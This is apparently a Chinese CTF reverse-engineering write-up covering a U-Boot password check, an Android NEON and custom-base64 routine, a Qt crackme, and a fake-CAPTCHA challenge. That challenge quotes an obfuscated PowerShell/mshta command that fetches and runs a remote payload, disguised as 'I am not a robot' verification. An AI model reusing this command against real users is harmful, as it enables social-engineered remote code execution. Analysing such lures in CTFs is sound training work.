这次只做了逆向题,还行,至少没爆0嘻嘻嘻!!
Oh_My_Uboot
下载附件拿到.txt,根据题目提示Uboot,将.txt改为.su
拖入ida分析
通过交叉引用,找到关键函数
在查看交叉引用
继续追
sub_60813F74
整体看下来这个函数是一个循环执行的交互式口令校验函数
准备提示字符串(解密后显示给用户)。
从用户输入读取密码,带退格处理,回显 *。
输入结束(回车 0x0D),进行处理和验证。
如果输入与目标密文匹配成功,则退出循环,否则继续。
下面先对输入 XOR 0x72。
把 XOR 后的结果做 Base58 类似的编码。
内部循环用 /58 和 %58 拆分。
使用一个自定义字符表(由 v23、v25 组合)。
1 | LOBYTE(v8) = 48; |
这里自定义的字符集
我们跑一下出来就是
1 | 0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmno...i |
接下来写解密脚本
1 | # -*- coding: utf-8 -*- |
1’M no7 A rO6oT
Cmd
输入
1 | powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:42636/Coloringoutomic_Host.mp3 http://challenge.xinshi.fun:42636/Coloringoutomic_Host.mp3 # ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086 |
出现
我们先执行下 shutdown /a
避免关机
然后dbgx32附加
直接搜索字符串
CTF{
ARM ASM
先拖入jadx 分析
调用了check方法,需要调试so层
1 | if (__strlen_chk(v9, 0xFFFFFFFFFFFFFFFFLL) == 48) { ... } |
先判断了一下输入的长度是否是48
然后进行三轮 NEON 向量运算
最后自定义base64返回
查看strings表
拿到自定义base64字符集
1 | abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/ |
vqtbl1q_s8指令是用v8作为索引去原始数据块中查表
计算table_result = 加密块 ^ v8
块 1 和块 0 使用的v8为原始t
块 2 使用的v8是t与 1 异或的结果
直接访问t拿到值
0D 0E 0F 0C 0B 0A 09 08 06 07 05 04 02 03 01 00
编写解密脚本
1 | def custom_b64decode(s, table): |
Qt_Creator
拿到附件先安装
然后附加进ida
定位带main函数
进入
sub_4015E0
继续分析
最开始这个地方有反调试 JMP的地方是JZ
我们改为JMP 过掉反调试的逻辑
继续分析
sub_403400 进行了qt的一些初始化
进入
sub_40EE30
发现密文
这里他也进行了一堆初始化,但是我们需要找到槽函数
*this = &off_42F394;
对这个字符串进行访问
发现他调用了一下函数
sub_411380 sub_4113E0 sub_411430 sub_40FD00 sub_40FFC0
sub_40FD00 sub_40FFC0 分析后发现是析构函数
sub_411430
继续跟sub_4113A0
sub_410100
看见text基本就是获取用户输入的文本了
这里也更加确定了 就是注册调用的逻辑
继续分析,找解密函数
sub_40FFF0
对V22 进行处理
进入分析
发现就是一个循环ASCII 值变化的过程
如果字符的索引是 偶数,其 ASCII 值会 加1。
如果字符的索引是 奇数,其 ASCII 值会 减1
最后写解密脚本
1 | def decrypt_flag(encrypted_string): |